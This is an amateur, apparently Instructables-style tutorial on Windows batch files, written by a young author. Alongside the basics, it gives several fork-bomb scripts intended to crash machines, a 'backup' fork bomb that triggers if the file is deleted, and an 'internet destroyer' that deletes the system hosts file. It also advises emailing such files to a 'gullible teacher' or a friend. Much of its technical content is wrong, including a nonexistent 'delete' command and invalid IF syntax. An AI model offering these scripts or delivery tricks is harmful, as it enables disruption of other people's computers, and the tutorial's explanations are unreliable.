Introduction: How to Do Batch

I know that there are alot of batch tutorials out there, but I like batch, so I want to do my own. And I'm sorry but, I DON'T HAVE A CAMERA, so I can't give you any pictures. And also, I am not responsible for what you do with this info. And i know there is pictures, I picked random photos from google so instructables would leave me alone

Step 1: The Basics

ok, so now you want to learn batch. what is it again?
batch files are files similar t programs, while these are not programs, they do a lot that a program can do, and are the backbone of all programs. Any batch file is stored with the file extension/type .bat, you should always remember this. basic commands
start-starts a program
ex: start monkeys.bat
delete-deletes a program
ex: delete monkeys.bat
color-changes the current color of the command prompt window
ex: color 0A (changes background to black, and lettering to green)
help-displays all of the current available commands, and gives more information on a topic if you type it before the command
ex: help start (shows parameters and uses of the command start)



Step 2: Intermediates of Batch

This is where it gets good, using complicated commands in batch is not my specialty, so I like the basics.

GOTO-Goes to a certain line in the program

Ex:
:m
echo continuation
goto m

when using goto, it is important to put goto m, or the recommendation you would like to use, and the recommendation that you use has to always have that : before it.

IF- conditioning in a program

Ex:IF (start monkey.bat) delete monkey.bat

IF is very usefule to me and it should be to you if you are going into batch. IF is like this, if the person does this, then do this. I'm not sure if you have to start the program for the line to be remembered or if you just execute the line secretly and then it's executed. I know that if you have a large first line of syntax that it's good to put a parenthesis around it. I use this alot!!!

Step 3: Variables and Advanced Batch

variables are only used from me if you have a big program, in the long run it'll save you a lot of time, but only in the long run. variables are set by the command set for example
SET 1=start monkey.bat

for every 1 it'll run the line, that line will be useful in a second.

a fork bomb

sorry for the other instructable people that already have written this down, but i've thought up a better one. There was a good fork bomb, and a bad one. The one i'm going to use is improved in size and in syntax, it is the revised version of the bad fork bomb. the good one looked like this:

:m
m
start cmd.exe
goto m

this is the bad one

:m
start
start
start
goto m

these aren't exact, butthey pretty close

the good one had good syntax but it doesn't make a computer crash, just get tired. The bad one was just a knock off of the good one. Here's my version:

:m
start monkey.bat
start monkey.bat
start monkey.bat
start monkey.bat
goto m

save as: monkey.bat . Well, I'm not responsible for what you do with this, it's similar to blue screen, so create as your own risk.

Step 4: The Backup

The backup is what i use for when I know someone will destroy my batch file

IF (DELETE monkey.bat) goto m
IF (ERASE monkey.bat) goto m
echo don't delete me, or else
pause
exit
:m
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
goto m

there's a part of this that I won't put in because it's brutal

And some computers enable erase, but not delete, so you should put both. And also remember, write this at your own risk.

Step 5: Conclusion and Views

well, i hope you use these skills only for good as i do

and here are some of my views:
on mutant's shutdown your school!

I find this instructable alright, but the ITs have probably already have figured it out. And you don't have to do the 1st step, it kind of gives away your cover, duh. And i think he got from somewhere else, how can a 14 year old be so experienced in batch? Especially his use of cross programs, that is interesting. and i think it would be good if he explained the virus replicator a little more.

how I would send a batch file

You need to have an email account(gmail is free, but doesn't allow executable file exchange), and then you need to send it as a file attachment. if you plan to screw over your teacher or something, they'll probably see through it, especially if they are the computer teacher. give it to a gullible teacher

Step 6: Reference

what is a reference (in computing)?

a reference is when i give you a lead or somebody else gives you a lead. for example on the news you saw hacking on cameras, so you looked at their website to find out how to do it.
Here's some:
http://www.symantec.com/business/security_response/threatexplorer/threats.jsp
www.I-Hacked.com (sometimes you have to search in google for it)

I'll find some later but that's all i got

Step 7: Extra Add Ons (matrix)

i added this after i figured that there were alot of batch instructables, so i should add more to put it to the top

Matrix is just repeated numbers

Enter this code:

@echo off
color 0a
:top
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto top

this isn't exactly like the matrix (i mean the wierd letterings) but it's good to go

Step 8: Add On2

internet destroyer

apparently this code when sended to a friend will destroy their internet or something

open up notepad and type

@echo off
cd WINDOWS\SYSTEM32\DRIVERS\ETC
attrib hosts -r -h
del hosts

save as whatever.bat and in whatever as in type whatever you want.

i call it the agent lol

Step 9: Star Wars

this one's called start wars just type in the following and it'll play a short movie on star wars:
Telnet Towel.blinkenlights.nl
type it exactly as it is